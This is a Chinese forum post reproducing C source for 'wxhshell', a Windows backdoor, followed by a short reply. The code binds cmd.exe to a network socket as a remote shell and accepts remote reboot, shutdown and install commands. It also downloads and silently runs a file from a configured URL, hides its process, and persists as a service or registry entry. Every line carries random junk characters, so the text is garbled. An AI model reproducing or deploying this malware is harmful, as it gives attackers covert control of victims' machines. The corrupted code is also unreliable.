  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u[t>Tg2R  
  if(DownloadFile(cmd,wsh)) Y}/jR6hK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dy_.(r5[L]  
  else Cnur"?w@o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #v qz{R~nM  
  } |' @[N,  
  else { r"]Oe$[#  
/s-d?  
    switch(cmd[0]) { 9}whWh  
  t/Z!O z6ZE  
  // 帮助 {gIEZ{  
  case '?': { Wy)('EM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Y4q+sDW  
    break; w?;b7i  
  } <W|1<=z(  
  // 安装 IuWX*b`v  
  case 'i': { (q k5f`O  
    if(Install()) ZX]A )5G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _&mc8ftT  
    else Z`"n:'&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q5gP~*?  
    break; J]]\&MtaO  
    } Eb7}$Ji\  
  // 卸载 7`+UB>8  
  case 'r': { agTK =  
    if(Uninstall()) #J3zTG(:@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i\Q":4  
    else _pW 'n=}R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8"pA9Mr  
    break; j5A\y^Kv  
    } 5YLho2h38!  
  // 显示 wxhshell 所在路径 M->Kz{h?j  
  case 'p': { wJr/FE 7c  
    char svExeFile[MAX_PATH]; ~:s!].H  
    strcpy(svExeFile,"\n\r"); TQ2i{e  
      strcat(svExeFile,ExeFile); ep`/:iYW  
        send(wsh,svExeFile,strlen(svExeFile),0); *q[^Q'jnN  
    break; t.u{.P\Md\  
    } 95% :AQLV  
  // 重启 )rS^F<C  
  case 'b': { .1%i`+uZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I@c0N*(  
    if(Boot(REBOOT)) 0Mq6yu^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cb<~i  
    else { !zl/0o  
    closesocket(wsh); `oan,wq+  
    ExitThread(0); /. f!  
    } gFgcxe6  
    break; dfXV1B5  
    } 8Y]u:v  
  // 关机 ^r%i3  
  case 'd': { ud!r*E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t>=GVu^  
    if(Boot(SHUTDOWN)) $t%"Tr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wN$uX#W|  
    else { Y}*Ctdrl  
    closesocket(wsh); ~91uk3ST?  
    ExitThread(0); #0xm3rFy4  
    } Y&~5k;>'_  
    break; FUH *]U  
    } :s? y,  
  // 获取shell X6n|Xq3k  
  case 's': { aj% `x4e A  
    CmdShell(wsh); 1Q3%!~<\s  
    closesocket(wsh); F&-5&'6G+  
    ExitThread(0); ;o&_:]S  
    break; Ebmqq#SHjX  
  } REeD?u j  
  // 退出 a^(S!I  
  case 'x': { i,\t]EJAU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #IcT @(  
    CloseIt(wsh); `=WzG"  
    break; qM+!f2t  
    } ~0:$G?fz  
  // 离开 ?d,acm  
  case 'q': { JT}dor  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \v B9fA:*  
    closesocket(wsh); ~W5>;6f\  
    WSACleanup(); X*D5y8<  
    exit(1); rGP? E3  
    break; .l" _ K  
        } E9 :|8#b  
  } :X]lXock0  
  } ]*t*/j;N  
_~(M A-l  
  // 提示信息 7zi^{]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !'c6Hs  
} VbY>l' rY  
  } `-E.n'+  
%u<&^8EL+#  
  return; rmAP&Gw I  
} 9 ^=t@  
ACMpm~C8Gu  
// shell模块句柄 jtlDSf#  
int CmdShell(SOCKET sock) 3w6J V+?  
{ co(fGp#!  
STARTUPINFO si; 8M5!5Jzv  
ZeroMemory(&si,sizeof(si)); {jCu9 ]c!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WL*W=(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  G> 5=`  
PROCESS_INFORMATION ProcessInfo; P"[l86:  
char cmdline[]="cmd"; 2Q;Y@%G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h)aWerzL  
  return 0; aL$c).hq0  
} e`gGzyM  
9x 6ca  
// 自身启动模式 8Y;zs7Y  
int StartFromService(void) ~6Ee=NaLzP  
{ {?kKpMNNn  
typedef struct ^FyvaO  
{ <o"D/<XnB3  
  DWORD ExitStatus; :pV("tHE  
  DWORD PebBaseAddress; ct|'I]nB.h  
  DWORD AffinityMask; |4 d{X@`&  
  DWORD BasePriority; ;zxlwdfcr'  
  ULONG UniqueProcessId; j#.-MfB  
  ULONG InheritedFromUniqueProcessId; *j|Tm7C  
}   PROCESS_BASIC_INFORMATION; }Rf :DmPE  
Qe=Q8cT  
PROCNTQSIP NtQueryInformationProcess; th>yi)m  
N_WA4?rB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xF:poi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C">=2OO  
wW)&Px n  
  HANDLE             hProcess; ]mGsNQ ].H  
  PROCESS_BASIC_INFORMATION pbi; ,uD*FSp>  
L)//- k9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [HZCnO|N  
  if(NULL == hInst ) return 0; H?r;S 5)c  
rF j)5~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VRN9yn2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {G*:N[pJp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p2_Zsq  
YF[!Hpzq  
  if (!NtQueryInformationProcess) return 0; )9W# 5V$  
!`S%l1[Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {XUfxNDf  
  if(!hProcess) return 0; `8 b6 /  
+cOI`4`$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?lw[  
oG_'<5Bv>  
  CloseHandle(hProcess); {&j{V-}f  
'krMVC-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "5DAGMU  
if(hProcess==NULL) return 0; v'~nABYH  
R*5;J`TW  
HMODULE hMod; 9P >S[=  
char procName[255]; ).`a-Pv  
unsigned long cbNeeded; s&_O2(l  
m_U6"\n 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7G=P|T\  
i3WmD@  
  CloseHandle(hProcess); fvAV[9/-  
XGl13@=O  
if(strstr(procName,"services")) return 1; // 以服务启动 9@EnmtR  
.A[.?7g  
  return 0; // 注册表启动 7[<sl35  
} >-o:> 5  
+Y^F>/4=Y  
// 主模块 n&78~@H  
int StartWxhshell(LPSTR lpCmdLine) iOXP\:mPo  
{ 78BuD[<X-  
  SOCKET wsl; v})Ti190  
BOOL val=TRUE; Mz. &d:  
  int port=0; l6U'  
  struct sockaddr_in door; BW\5RIWwE5  
]4~D;mv  
  if(wscfg.ws_autoins) Install(); tU2;Wb!Y  
@Lv_\^2/}  
port=atoi(lpCmdLine); '\YhRU  
hLD;U J?S  
if(port<=0) port=wscfg.ws_port; q5?mP6   
<%f%e4 [  
  WSADATA data; nhhJUN?8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sO-R+G/^7  
WbzL!zLd!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >A "aOV>K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jCv+m7Z  
  door.sin_family = AF_INET; b!P;xLcb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rAdcMFW  
  door.sin_port = htons(port); ;mxT >|z  
6oBt<r?CJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5DUPsV  
closesocket(wsl); >c>ar>4xF  
return 1; xEWa<P#.u  
} DNO%J^  
] CE2/6Ph  
  if(listen(wsl,2) == INVALID_SOCKET) { iW$i%`>  
closesocket(wsl); xT>V ;aa\  
return 1; 'Em($A (  
} tqf-,BLh  
  Wxhshell(wsl); FKm2slzb  
  WSACleanup(); CI{TgL:l  
<v^.FxId  
return 0; JPzPL\  
>R-$JrU.=  
} hlEvL  
m&8_i`%<  
// 以NT服务方式启动 k_`S[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y[,C1,  
{ Y" |U$  
DWORD   status = 0; YI+|6s[  
  DWORD   specificError = 0xfffffff; }N!8i'suz9  
nTlrG6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _<Tz 1>j=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ArM e[t0$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pDfF'jt9  
  serviceStatus.dwWin32ExitCode     = 0; BpE[9N  
  serviceStatus.dwServiceSpecificExitCode = 0; @) wXP@7  
  serviceStatus.dwCheckPoint       = 0; D1a2|^zt  
  serviceStatus.dwWaitHint       = 0; 7.-|3Wcg  
*i90[3l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VgL<uxq  
  if (hServiceStatusHandle==0) return; Hu.d^@V  
(Zkt2[E`  
status = GetLastError(); 1's^W  
  if (status!=NO_ERROR) Rk^&ras_  
{ p! 1zhD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ZZ Lh=  
    serviceStatus.dwCheckPoint       = 0; <jjaqDSmz  
    serviceStatus.dwWaitHint       = 0; 5O*$#C;c  
    serviceStatus.dwWin32ExitCode     = status; I(|{/{P,  
    serviceStatus.dwServiceSpecificExitCode = specificError; +(T,d]o]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .v'8G)6g  
    return; NKN!X/P  
  } $TiAJ}:  
aQuENsB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4`B:Mq&j  
  serviceStatus.dwCheckPoint       = 0; ygG9ht  
  serviceStatus.dwWaitHint       = 0; i[swOY z]X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~$<@:z{*  
} DzMkeX  
?g2K&  
// 处理NT服务事件,比如:启动、停止 Y|bGd_j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p*G_$"KpP  
{ =Vfj#WL  
switch(fdwControl) z;)% i f6  
{ ;#*mB`  
case SERVICE_CONTROL_STOP: l1msXBC  
  serviceStatus.dwWin32ExitCode = 0; Vj1AW<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1Y_fX  
  serviceStatus.dwCheckPoint   = 0; 7e4\BzCC  
  serviceStatus.dwWaitHint     = 0; `*B8IT)  
  { p O.8>C%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m`|+_{4[n  
  } >ObpOFb%  
  return; :Wln$L$  
case SERVICE_CONTROL_PAUSE: ( s*}=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E^s>S,U[y  
  break; q~Ud>{  
case SERVICE_CONTROL_CONTINUE: ;:OJQFu%4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3!I8J:GZ:  
  break; p<YO3@B+  
case SERVICE_CONTROL_INTERROGATE: X~0P+E#  
  break; 6 J#C  
}; h6#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a2zo_h2R  
} @#p4QEQA  
H 74hv`G9  
// 标准应用程序主函数 '7$v@Tvnre  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '(Pbz   
{ FU<rE&X2:  
;YB8X&H$  
// 获取操作系统版本 3Xy>kG}  
OsIsNt=GetOsVer(); BJvVZl2h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RGcT  
{\k9%2V*+  
  // 从命令行安装 0\/7[nwS  
  if(strpbrk(lpCmdLine,"iI")) Install(); g&"Nr aQM9  
.! &YO/  
  // 下载执行文件 )]>9\(  
if(wscfg.ws_downexe) { /g2 1.*Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bF3j*bpO"  
  WinExec(wscfg.ws_filenam,SW_HIDE); 79&Mc,69  
} \]^|IViIQ  
ym:JtI69   
if(!OsIsNt) { P9c1NX\-  
// 如果时win9x,隐藏进程并且设置为注册表启动 ivt\| >  
HideProc(); UZV)A}  
StartWxhshell(lpCmdLine); M 3^p,[9r#  
} q.#aeqKBP  
else WvR}c  
  if(StartFromService()) b*,R9  
  // 以服务方式启动 NKd):>d%  
  StartServiceCtrlDispatcher(DispatchTable); \4V'NTjB  
else h~dM*yo;  
  // 普通方式启动 mv5!fp_*7  
  StartWxhshell(lpCmdLine); 4((Z8@iX/  
`W"-jz5#=  
return 0; !\p-|51  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五